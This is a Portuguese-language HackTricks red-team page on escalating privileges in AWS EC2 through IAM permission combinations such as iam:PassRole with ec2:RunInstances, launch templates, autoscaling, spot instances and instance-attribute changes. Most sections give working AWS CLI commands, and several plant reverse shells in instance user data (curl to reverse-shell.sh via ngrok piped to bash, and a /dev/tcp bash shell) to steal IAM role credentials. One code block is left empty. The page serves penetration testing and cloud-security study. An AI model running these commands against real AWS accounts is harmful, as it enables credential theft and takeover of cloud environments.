AWS - EC2 Privesc

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

EC2

Para mais informações sobre o EC2 verifique:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Um atacante poderia criar uma instância anexando uma função IAM e então acessar a instância para roubar as credenciais da função IAM do endpoint de metadados.

  • Acesso via SSH

Execute uma nova instância usando uma chave ssh criada (--key-name) e então acesse-a via ssh (se você deseja criar uma nova, talvez precise da permissão ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Acesso via shell reverso em dados do usuário

Você pode executar uma nova instância usando um dados do usuário (--user-data) que enviará um shell reverso. Você não precisa especificar um grupo de segurança dessa maneira.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Tenha cuidado com o GuardDuty se você usar as credenciais da função IAM fora da instância:

pageAWS - GuardDuty Enum

Impacto Potencial: Privesc direto para qualquer função EC2 anexada aos perfis de instância existentes.

Privesc para ECS

Com esse conjunto de permissões, você também poderia criar uma instância EC2 e registrá-la dentro de um cluster ECS. Dessa forma, os serviços ECS serão executados dentro da instância EC2 onde você tem acesso e então pode penetrar nesses serviços (contêineres docker) e roubar as funções ECS anexadas.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Para aprender como forçar os serviços ECS a serem executados nesta nova instância EC2, verifique:

pageAWS - ECS Privesc

Se você não puder criar uma nova instância mas tiver permissão ecs:RegisterContainerInstance, talvez consiga registrar a instância dentro do cluster e realizar o ataque comentado.

Impacto Potencial: Privilégio direto para funções ECS anexadas a tarefas.

iam:PassRole, iam:AddRoleToInstanceProfile

Semelhante ao cenário anterior, um invasor com essas permissões poderia alterar a função IAM de uma instância comprometida para roubar novas credenciais. Como um perfil de instância só pode ter 1 função, se o perfil de instância já tiver uma função (caso comum), você também precisará de iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Impacto Potencial: Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e alguma permissão extra ou status de perfil de instância específico).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Com essas permissões, é possível alterar o perfil da instância associado a uma instância, então se o ataque já teve acesso a uma instância, ele será capaz de roubar credenciais para mais funções de perfil de instância alterando a associada a ela.

  • Se tiver um perfil de instância, você pode remover o perfil da instância (ec2:DisassociateIamInstanceProfile) e associá-lo *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • ou substituir o perfil da instância do instance profile comprometido (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
```
Substituir a associação de perfil de instância IAM de uma instância EC2
```
```

Impacto Potencial: Escalação de privilégios diretos para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e alguma permissão extra ou status de perfil de instância específico).

ec2:RequestSpotInstances,iam:PassRole

Um atacante com as permissões ec2:RequestSpotInstances e iam:PassRole pode solicitar uma Instância Spot com um Papel EC2 anexado e um shell reverso nos dados do usuário. Uma vez que a instância é executada, ele pode roubar o papel IAM.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Um atacante com a permissão ec2:ModifyInstanceAttribute pode modificar os atributos das instâncias. Entre eles, ele pode alterar os dados do usuário, o que implica que ele pode fazer a instância executar dados arbitrários. Isso pode ser usado para obter um shell reverso na instância EC2.

Observe que os atributos só podem ser modificados quando a instância está parada, então as permissões ec2:StopInstances e ec2:StartInstances são necessárias.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Impacto Potencial: Privesc direto para qualquer Função IAM do EC2 anexada a uma instância criada.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Um atacante com as permissões ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplatee ec2:ModifyLaunchTemplate pode criar uma nova versão do Launch Template com um rev shell no user data e qualquer Função IAM do EC2 nele, alterar a versão padrão e qualquer grupo de Autoscaler usando esse Launch Template que está configurado para usar a última ou a versão padrão irá reexecutar as instâncias usando esse modelo e executará o rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Impacto Potencial: Privesc direto para uma função EC2 diferente.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Um atacante com as permissões autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole pode criar uma Configuração de Lançamento com uma Função IAM e um shell reverso dentro dos dados do usuário, em seguida, criar um grupo de dimensionamento automático a partir dessa configuração e aguardar o shell reverso para roubar a Função IAM.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Impacto Potencial: Privesc direto para uma função EC2 diferente.

!autoscaling

O conjunto de permissões ec2:CreateLaunchTemplate e autoscaling:CreateAutoScalingGroup não são suficientes para escalar privilégios para uma função IAM porque para anexar a função especificada na Configuração de Lançamento ou no Modelo de Lançamento você precisa das permissões iam:PassRole e ec2:RunInstances (que é um privesc conhecido).

ec2-instance-connect:SendSSHPublicKey

Um atacante com a permissão ec2-instance-connect:SendSSHPublicKey pode adicionar uma chave ssh a um usuário e usá-la para acessá-la (se ele tiver acesso ssh à instância) ou para escalar privilégios.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Impacto Potencial: Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Um atacante com a permissão ec2-instance-connect:SendSerialConsoleSSHPublicKey pode adicionar uma chave ssh a uma conexão serial. Se a serial não estiver habilitada, o atacante precisa da permissão ec2:EnableSerialConsoleAccess para habilitá-la.

Para se conectar à porta serial, você também precisa saber o nome de usuário e a senha de um usuário dentro da máquina.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Dessa forma não é tão útil para escalonamento de privilégios, pois é necessário saber um nome de usuário e senha para explorá-lo.

Impacto Potencial: (Altamente improvável) Escalonamento direto para os papéis IAM do EC2 anexados às instâncias em execução.

Referências

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización